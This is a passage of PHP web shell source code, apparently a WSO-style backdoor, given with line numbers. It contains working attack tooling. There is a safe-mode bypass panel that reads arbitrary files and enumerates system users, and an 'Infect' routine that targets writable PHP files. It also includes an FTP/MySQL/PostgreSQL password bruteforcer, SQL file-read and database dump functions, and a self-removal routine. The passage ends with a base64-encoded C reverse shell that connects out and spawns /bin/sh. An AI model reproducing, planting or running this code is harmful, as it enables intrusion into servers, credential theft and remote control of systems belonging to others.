996 | echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>"; | |
997 | if(!empty($_POST['p1'])) { | |
998 | if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2'])); | |
999 | } | |
1000 | echo"</pre></div><br><h1>Search files:</h1><div class=content> | |
1001 | <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'> | |
1002 | <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr> | |
1003 | <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr> | |
1004 | <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr> | |
1005 | <tr><td></td><td><input type='submit' value='submit'></td></tr> | |
1006 | </table></form>"; | |
1007 | function hardRecursiveGlob($path) { | |
1008 | if(substr($path, -1) != '/') | |
1009 | $path.='/'; | |
1010 | $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR))); | |
1011 | if(is_array($paths)&&@count($paths)) { | |
1012 | foreach($paths as $dokl) { | |
1013 | if(@is_dir($dokl)){ | |
1014 | if($path!=$dokl) | |
1015 | hardRecursiveGlob($dokl); | |
1016 | } else { | |
1017 | if(empty($_POST['p2']) || @strpos(file_get_contents($dokl), $_POST['p2'])!==false) | |
1018 | echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($dokl)."\", \"view\",\"\")'>".htmlspecialchars($dokl)."</a><br>"; | |
1019 | } | |
1020 | } | |
1021 | } | |
1022 | } | |
1023 | if(@$_POST['p3']) | |
1024 | hardRecursiveGlob($_POST['c']); | |
1025 | echo "</div><br><h1>Search for hash:</h1><div class=content> | |
1026 | <form method='post' target='_blank' name='hf'> | |
1027 | <input type='text' name='hash' style='width:200px;'><br> | |
1028 | <input type='hidden' name='act' value='find'/> | |
1029 | <input type='submit' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br> | |
1030 | <input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br> | |
1031 | <input type='submit' value='fakenamegenerator.com' onclick=\"document.hf.action='http://www.fakenamegenerator.com/';document.hf.submit()\"><br> | |
1032 | <input type='submit' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br> | |
1033 | <input type='submit' value='toolki.com' onclick=\"document.hf.action='http://toolki.com/';document.hf.submit()\"><br> | |
1034 | <input type='submit' value='fopo.com.ar' onclick=\"document.hf.action='http://fopo.com.ar/';document.hf.submit()\"><br> | |
1035 | <input type='submit' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br> | |
1036 | </form></div>"; | |
1037 | hardFooter(); | |
1038 | } | |
1039 | function actionSafeMode() { | |
1040 | $temp=''; | |
1041 | ob_start(); | |
1042 | switch($_POST['p1']) { | |
1043 | case 1: | |
1044 | $temp=@tempnam($test, 'cx'); | |
1045 | if(@copy("compress.zlib://".$_POST['p2'], $temp)){ | |
1046 | echo @file_get_contents($temp); | |
1047 | unlink($temp); | |
1048 | } else | |
1049 | echo 'Sorry... Can\'t open file'; | |
1050 | break; | |
1051 | case 2: | |
1052 | $files = glob($_POST['p2'].'*'); | |
1053 | if( is_array($files) ) | |
1054 | foreach ($files as $filename) | |
1055 | echo $filename."\n"; | |
1056 | break; | |
1057 | case 3: | |
1058 | $ch = curl_init("file://".$_POST['p2']."\x00".SELF_PATH); | |
1059 | curl_exec($ch); | |
1060 | break; | |
1061 | case 4: | |
1062 | ini_restore("safe_mode"); | |
1063 | ini_restore("open_basedir"); | |
1064 | include($_POST['p2']); | |
1065 | break; | |
1066 | case 5: | |
1067 | for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { | |
1068 | $uid = @posix_getpwuid($_POST['p2']); | |
1069 | if ($uid) | |
1070 | echo join(':',$uid)."\n"; | |
1071 | } | |
1072 | break; | |
1073 | case 6: | |
1074 | if(!function_exists('imap_open'))break; | |
1075 | $stream = imap_open($_POST['p2'], "", ""); | |
1076 | if ($stream == FALSE) | |
1077 | break; | |
1078 | echo imap_body($stream, 1); | |
1079 | imap_close($stream); | |
1080 | break; | |
1081 | } | |
1082 | $temp = ob_get_clean(); | |
1083 | hardHeader(); | |
1084 | echo '<h1>Safe mode bypass</h1><div class=content>'; | |
1085 | echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>'; | |
1086 | if($temp) | |
1087 | echo '<pre class="ml1" style="margin-top:5px" id="Output">'.$temp.'</pre>'; | |
1088 | echo '</div>'; | |
1089 | hardFooter(); | |
1090 | } | |
1091 | function actionLogout() { | |
1092 | setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600); | |
1093 | die('bye!'); | |
1094 | } | |
1095 | function actionSelfRemove() { | |
1096 | if($_POST['p1'] == 'yes') | |
1097 | if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__))) | |
1098 | die('Shell has been removed'); | |
1099 | else | |
1100 | echo 'unlink error!'; | |
1101 | if($_POST['p1'] != 'yes') | |
1102 | hardHeader(); | |
1103 | echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>'; | |
1104 | hardFooter(); | |
1105 | } | |
1106 | function actionInfect() { | |
1107 | hardHeader(); | |
1108 | echo '<h1>Infect</h1><div class=content>'; | |
1109 | if($_POST['p1'] == 'infect') { | |
1110 | $target=$_SERVER['DOCUMENT_ROOT']; | |
1111 | function ListFiles($dir) { | |
1112 | if($dh = opendir($dir)) { | |
1113 | $files = Array(); | |
1114 | $inner_files = Array(); | |
1115 | while($file = readdir($dh)) { | |
1116 | if($file != "." && $file != "..") { | |
1117 | if(is_dir($dir . "/" . $file)) { | |
1118 | $inner_files = ListFiles($dir . "/" . $file); | |
1119 | if(is_array($inner_files)) $files = array_merge($files, $inner_files); | |
1120 | } else { | |
1121 | array_push($files, $dir . "/" . $file); | |
1122 | } | |
1123 | } | |
1124 | } | |
1125 | closedir($dh); | |
1126 | return $files; | |
1127 | } | |
1128 | } | |
1129 | foreach (ListFiles($target) as $key=>$file){ | |
1130 | $nFile = substr($file, -4, 4); | |
1131 | if($nFile == ".php" ){ | |
1132 | if(($file<>$_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'])&&(is_writeable($file))){ | |
1133 | echo "$file<br>"; | |
1134 | $i++; | |
1135 | } | |
1136 | } | |
1137 | } | |
1138 | echo "<font color=red size=14>$i</font>"; | |
1139 | }else{ | |
1140 | echo "<form method=post><input type=submit value=Infect name=infet></form>"; | |
1141 | echo 'Really want to infect the server? <a href=# onclick="g(null,null,\'infect\')">Yes</a></div>'; | |
1142 | } | |
1143 | hardFooter(); | |
1144 | } | |
1145 | function actionBruteforce() { | |
1146 | hardHeader(); | |
1147 | if( isset($_POST['proto']) ) { | |
1148 | echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>'; | |
1149 | if( $_POST['proto'] == 'ftp' ) { | |
1150 | function bruteForce($ip,$port,$login,$pass) { | |
1151 | $fp = @ftp_connect($ip, $port?$port:21); | |
1152 | if(!$fp) return false; | |
1153 | $res = @ftp_login($fp, $login, $pass); | |
1154 | @ftp_close($fp); | |
1155 | return $res; | |
1156 | } | |
1157 | } elseif( $_POST['proto'] == 'mysql' ) { | |
1158 | function bruteForce($ip,$port,$login,$pass) { | |
1159 | $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass); | |
1160 | @mysql_close($res); | |
1161 | return $res; | |
1162 | } | |
1163 | } elseif( $_POST['proto'] == 'pgsql' ) { | |
1164 | function bruteForce($ip,$port,$login,$pass) { | |
1165 | $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres"; | |
1166 | $res = @pg_connect($str); | |
1167 | @pg_close($res); | |
1168 | return $res; | |
1169 | } | |
1170 | } | |
1171 | $success = 0; | |
1172 | $attempts = 0; | |
1173 | $server = explode(":", $_POST['server']); | |
1174 | if($_POST['type'] == 1) { | |
1175 | $temp = @file('/etc/passwd'); | |
1176 | if( is_array($temp) ) | |
1177 | foreach($temp as $line) { | |
1178 | $line = explode(":", $line); | |
1179 | ++$attempts; | |
1180 | if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) { | |
1181 | $success++; | |
1182 | echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>'; | |
1183 | } | |
1184 | if(@$_POST['reverse']) { | |
1185 | $tmp = ""; | |
1186 | for($i=strlen($line[0])-1; $i>=0; --$i) | |
1187 | $tmp .= $line[0][$i]; | |
1188 | ++$attempts; | |
1189 | if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) { | |
1190 | $success++; | |
1191 | echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp); | |
1192 | } | |
1193 | } | |
1194 | } | |
1195 | } elseif($_POST['type'] == 2) { | |
1196 | $temp = @file($_POST['dict']); | |
1197 | if( is_array($temp) ) | |
1198 | foreach($temp as $line) { | |
1199 | $line = trim($line); | |
1200 | ++$attempts; | |
1201 | if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) { | |
1202 | $success++; | |
1203 | echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>'; | |
1204 | } | |
1205 | } | |
1206 | } | |
1207 | echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>"; | |
1208 | } | |
1209 | echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' | |
1210 | .'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>' | |
1211 | .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">' | |
1212 | .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">' | |
1213 | .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">' | |
1214 | .'<input type=hidden name=ne value="">' | |
1215 | .'<span>Server:port</span></td>' | |
1216 | .'<td><input type=text name=server value="127.0.0.1"></td></tr>' | |
1217 | .'<tr><td><span>Brute type</span></td>' | |
1218 | .'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>' | |
1219 | .'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>' | |
1220 | .'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>' | |
1221 | .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' | |
1222 | .'<td><input type=text name=login value="root"></td></tr>' | |
1223 | .'<tr><td><span>Dictionary</span></td>' | |
1224 | .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>' | |
1225 | .'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>'; | |
1226 | echo '</div>'; | |
1227 | hardFooter(); | |
1228 | } | |
1229 | function actionSql() { | |
1230 | class DbClass { | |
1231 | var $type; | |
1232 | var $link; | |
1233 | var $res; | |
1234 | function __construct($type) { | |
1235 | $this->type = $type; | |
1236 | } | |
1237 | function connect($host, $user, $pass, $dbname){ | |
1238 | switch($this->type) { | |
1239 | case 'mysql': | |
1240 | if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true; | |
1241 | break; | |
1242 | case 'pgsql': | |
1243 | $host = explode(':', $host); | |
1244 | if(!$host[1]) $host[1]=5432; | |
1245 | if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true; | |
1246 | break; | |
1247 | } | |
1248 | return false; | |
1249 | } | |
1250 | function selectdb($db) { | |
1251 | switch($this->type) { | |
1252 | case 'mysql': | |
1253 | if (@mysql_select_db($db))return true; | |
1254 | break; | |
1255 | } | |
1256 | return false; | |
1257 | } | |
1258 | function query($str) { | |
1259 | switch($this->type) { | |
1260 | case 'mysql': | |
1261 | return $this->res = @mysql_query($str); | |
1262 | break; | |
1263 | case 'pgsql': | |
1264 | return $this->res = @pg_query($this->link,$str); | |
1265 | break; | |
1266 | } | |
1267 | return false; | |
1268 | } | |
1269 | function fetch() { | |
1270 | $res = func_num_args()?func_get_arg(0):$this->res; | |
1271 | switch($this->type) { | |
1272 | case 'mysql': | |
1273 | return @mysql_fetch_assoc($res); | |
1274 | break; | |
1275 | case 'pgsql': | |
1276 | return @pg_fetch_assoc($res); | |
1277 | break; | |
1278 | } | |
1279 | return false; | |
1280 | } | |
1281 | function listDbs() { | |
1282 | switch($this->type) { | |
1283 | case 'mysql': | |
1284 | return $this->query("SHOW databases"); | |
1285 | break; | |
1286 | case 'pgsql': | |
1287 | return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'"); | |
1288 | break; | |
1289 | } | |
1290 | return false; | |
1291 | } | |
1292 | function listTables() { | |
1293 | switch($this->type) { | |
1294 | case 'mysql': | |
1295 | return $this->res = $this->query('SHOW TABLES'); | |
1296 | break; | |
1297 | case 'pgsql': | |
1298 | return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'"); | |
1299 | break; | |
1300 | } | |
1301 | return false; | |
1302 | } | |
1303 | function error() { | |
1304 | switch($this->type) { | |
1305 | case 'mysql': | |
1306 | return @mysql_error(); | |
1307 | break; | |
1308 | case 'pgsql': | |
1309 | return @pg_last_error(); | |
1310 | break; | |
1311 | } | |
1312 | return false; | |
1313 | } | |
1314 | function setCharset($str) { | |
1315 | switch($this->type) { | |
1316 | case 'mysql': | |
1317 | if(function_exists('mysql_set_charset')) | |
1318 | return @mysql_set_charset($str, $this->link); | |
1319 | else | |
1320 | $this->query('SET CHARSET '.$str); | |
1321 | break; | |
1322 | case 'pgsql': | |
1323 | return @pg_set_client_encoding($this->link, $str); | |
1324 | break; | |
1325 | } | |
1326 | return false; | |
1327 | } | |
1328 | function loadFile($str) { | |
1329 | switch($this->type) { | |
1330 | case 'mysql': | |
1331 | return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file")); | |
1332 | break; | |
1333 | case 'pgsql': | |
1334 | $this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '".addslashes($str)."';select file from hard2;"); | |
1335 | $r=array(); | |
1336 | while($i=$this->fetch()) | |
1337 | $r[] = $i['file']; | |
1338 | $this->query('drop table hard2'); | |
1339 | return array('file'=>implode("\n",$r)); | |
1340 | break; | |
1341 | } | |
1342 | return false; | |
1343 | } | |
1344 | function dump($table, $fp = false) { | |
1345 | switch($this->type) { | |
1346 | case 'mysql': | |
1347 | $res = $this->query('SHOW CREATE TABLE `'.$table.'`'); | |
1348 | $create = mysql_fetch_array($res); | |
1349 | $sql = $create[1].";\n"; | |
1350 | if($fp) fwrite($fp, $sql); else echo($sql); | |
1351 | $this->query('SELECT * FROM `'.$table.'`'); | |
1352 | $i = 0; | |
1353 | $head = true; | |
1354 | while($dokl = $this->fetch()) { | |
1355 | $sql = ''; | |
1356 | if($i % 1000 == 0) { | |
1357 | $head = true; | |
1358 | $sql = ";\n\n"; | |
1359 | } | |
1360 | $columns = array(); | |
1361 | foreach($dokl as $k=>$v) { | |
1362 | if($v === null) | |
1363 | $dokl[$k] = "NULL"; | |
1364 | elseif(is_int($v)) | |
1365 | $dokl[$k] = $v; | |
1366 | else | |
1367 | $dokl[$k] = "'".@mysql_real_escape_string($v)."'"; | |
1368 | $columns[] = "`".$k."`"; | |
1369 | } | |
1370 | if($head) { | |
1371 | $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $dokl).')'; | |
1372 | $head = false; | |
1373 | } else | |
1374 | $sql .= "\n\t,(".implode(", ", $dokl).')'; | |
1375 | if($fp) fwrite($fp, $sql); else echo($sql); | |
1376 | $i++; | |
1377 | } | |
1378 | if(!$head) | |
1379 | if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n"); | |
1380 | break; | |
1381 | case 'pgsql': | |
1382 | $this->query('SELECT * FROM '.$table); | |
1383 | while($dokl = $this->fetch()) { | |
1384 | $columns = array(); | |
1385 | foreach($dokl as $k=>$v) { | |
1386 | $dokl[$k] = "'".addslashes($v)."'"; | |
1387 | $columns[] = $k; | |
1388 | } | |
1389 | $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $dokl).');'."\n"; | |
1390 | if($fp) fwrite($fp, $sql); else echo($sql); | |
1391 | } | |
1392 | break; | |
1393 | } | |
1394 | return false; | |
1395 | } | |
1396 | }; | |
1397 | $db = new DbClass($_POST['type']); | |
1398 | if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) { | |
1399 | $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']); | |
1400 | $db->selectdb($_POST['sql_base']); | |
1401 | switch($_POST['charset']) { | |
1402 | case "Windows-1251": $db->setCharset('cp1251'); break; | |
1403 | case "UTF-8": $db->setCharset('utf8'); break; | |
1404 | case "KOI8-R": $db->setCharset('koi8r'); break; | |
1405 | case "KOI8-U": $db->setCharset('koi8u'); break; | |
1406 | case "cp866": $db->setCharset('cp866'); break; | |
1407 | } | |
1408 | if(empty($_POST['file'])) { | |
1409 | ob_start("ob_gzhandler", 4096); | |
1410 | header("Content-Disposition: attachment; filename=dump.sql"); | |
1411 | header("Content-Type: text/plain"); | |
1412 | foreach($_POST['tbl'] as $v) | |
1413 | $db->dump($v); | |
1414 | exit; | |
1415 | } elseif($fp = @fopen($_POST['file'], 'w')) { | |
1416 | foreach($_POST['tbl'] as $v) | |
1417 | $db->dump($v, $fp); | |
1418 | fclose($fp); | |
1419 | unset($_POST['p2']); | |
1420 | } else | |
1421 | die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>'); | |
1422 | } | |
1423 | hardHeader(); | |
1424 | echo " | |
1425 | <h1>Sql browser</h1><div class=content> | |
1426 | <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> | |
1427 | <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr> | |
1428 | <input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> | |
1429 | <td><label><select name='type'><option value='mysql' "; | |
1430 | if(@$_POST['type']=='mysql')echo 'selected'; | |
1431 | echo ">MySql</option><option value='pgsql' "; | |
1432 | if(@$_POST['type']=='pgsql')echo 'selected'; | |
1433 | echo ">PostgreSql</option></select></label></td> | |
1434 | <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td> | |
1435 | <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td> | |
1436 | <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\" required></td><td>"; | |
1437 | $tmp = "<input type=text name=sql_base value=''>"; | |
1438 | if(isset($_POST['sql_host'])){ | |
1439 | if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { | |
1440 | switch($_POST['charset']) { | |
1441 | case "Windows-1251": $db->setCharset('cp1251'); break; | |
1442 | case "UTF-8": $db->setCharset('utf8'); break; | |
1443 | case "KOI8-R": $db->setCharset('koi8r'); break; | |
1444 | case "KOI8-U": $db->setCharset('koi8u'); break; | |
1445 | case "cp866": $db->setCharset('cp866'); break; | |
1446 | } | |
1447 | $db->listDbs(); | |
1448 | echo "<label><select name=sql_base><option value=''></option>"; | |
1449 | while($dokl = $db->fetch()) { | |
1450 | list($key, $value) = each($dokl); | |
1451 | echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; | |
1452 | } | |
1453 | echo '</select></label>'; | |
1454 | } | |
1455 | else echo $tmp; | |
1456 | }else | |
1457 | echo $tmp; | |
1458 | echo "</td> | |
1459 | <td><input type=submit value='submit' onclick='fs(d.sf);'></td> | |
1460 | <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td> | |
1461 | </tr> | |
1462 | </table> | |
1463 | <script> | |
1464 | s_db='".@addslashes($_POST['sql_base'])."'; | |
1465 | function fs(f) { | |
1466 | if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; | |
1467 | if(f.p1) f.p1.value=''; | |
1468 | if(f.p2) f.p2.value=''; | |
1469 | if(f.p3) f.p3.value=''; | |
1470 | } | |
1471 | } | |
1472 | function st(t,l) { | |
1473 | d.sf.p1.value = 'select'; | |
1474 | d.sf.p2.value = t; | |
1475 | if(l && d.sf.p3) d.sf.p3.value = l; | |
1476 | d.sf.submit(); | |
1477 | } | |
1478 | function is() { | |
1479 | for(i=0;i<d.sf.elements['tbl[]'].length;++i) | |
1480 | d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; | |
1481 | } | |
1482 | </script>"; | |
1483 | if(isset($db) && $db->link){ | |
1484 | echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; | |
1485 | if(!empty($_POST['sql_base'])){ | |
1486 | $db->selectdb($_POST['sql_base']); | |
1487 | echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; | |
1488 | $tbls_res = $db->listTables(); | |
1489 | while($dokl = $db->fetch($tbls_res)) { | |
1490 | list($key, $value) = each($dokl); | |
1491 | if(!empty($_POST['sql_count'])) | |
1492 | $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); | |
1493 | $value = htmlspecialchars($value); | |
1494 | echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>"; | |
1495 | } | |
1496 | echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; | |
1497 | if(@$_POST['p1'] == 'select') { | |
1498 | $_POST['p1'] = 'query'; | |
1499 | $_POST['p3'] = $_POST['p3']?$_POST['p3']:1; | |
1500 | $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); | |
1501 | $num = $db->fetch(); | |
1502 | $pages = ceil($num['n'] / 30); | |
1503 | echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; | |
1504 | echo " of $pages"; | |
1505 | if($_POST['p3'] > 1) | |
1506 | echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>"; | |
1507 | if($_POST['p3'] < $pages) | |
1508 | echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>"; | |
1509 | $_POST['p3']--; | |
1510 | if($_POST['type']=='pgsql') | |
1511 | $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); | |
1512 | else | |
1513 | $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; | |
1514 | echo "<br><br>"; | |
1515 | } | |
1516 | if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { | |
1517 | $db->query(@$_POST['p2']); | |
1518 | if($db->res !== false) { | |
1519 | $title = false; | |
1520 | echo '<table width=100% cellspacing=1 cellpadding=2 class=main>'; | |
1521 | $line = 1; | |
1522 | while($dokl = $db->fetch()) { | |
1523 | if(!$title) { | |
1524 | echo '<tr>'; | |
1525 | foreach($dokl as $key => $value) | |
1526 | echo '<th>'.$key.'</th>'; | |
1527 | reset($dokl); | |
1528 | $title=true; | |
1529 | echo '</tr><tr>'; | |
1530 | $line = 2; | |
1531 | } | |
1532 | echo '<tr class="l'.$line.'">'; | |
1533 | $line = $line==1?2:1; | |
1534 | foreach($dokl as $key => $value) { | |
1535 | if($value == null) | |
1536 | echo '<td><i>null</i></td>'; | |
1537 | else | |
1538 | echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; | |
1539 | } | |
1540 | echo '</tr>'; | |
1541 | } | |
1542 | echo '</table>'; | |
1543 | } else { | |
1544 | echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; | |
1545 | } | |
1546 | } | |
1547 | echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; | |
1548 | if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) | |
1549 | echo htmlspecialchars($_POST['p2']); | |
1550 | echo "</textarea><br/><input type=submit value='Execute'>"; | |
1551 | echo "</td></tr>"; | |
1552 | } | |
1553 | echo "</table></form><br/>"; | |
1554 | if($_POST['type']=='mysql') { | |
1555 | $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); | |
1556 | if($db->fetch()) | |
1557 | echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='submit'></form>"; | |
1558 | } | |
1559 | if(@$_POST['p1'] == 'loadfile') { | |
1560 | $file = $db->loadFile($_POST['p2']); | |
1561 | echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; | |
1562 | } | |
1563 | } else { | |
1564 | echo htmlspecialchars($db->error()); | |
1565 | } | |
1566 | echo '</div>'; | |
1567 | hardFooter(); | |
1568 | } | |
1569 | function actionNetwork() { | |
1570 | hardHeader(); | |
1571 | $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9"; | |
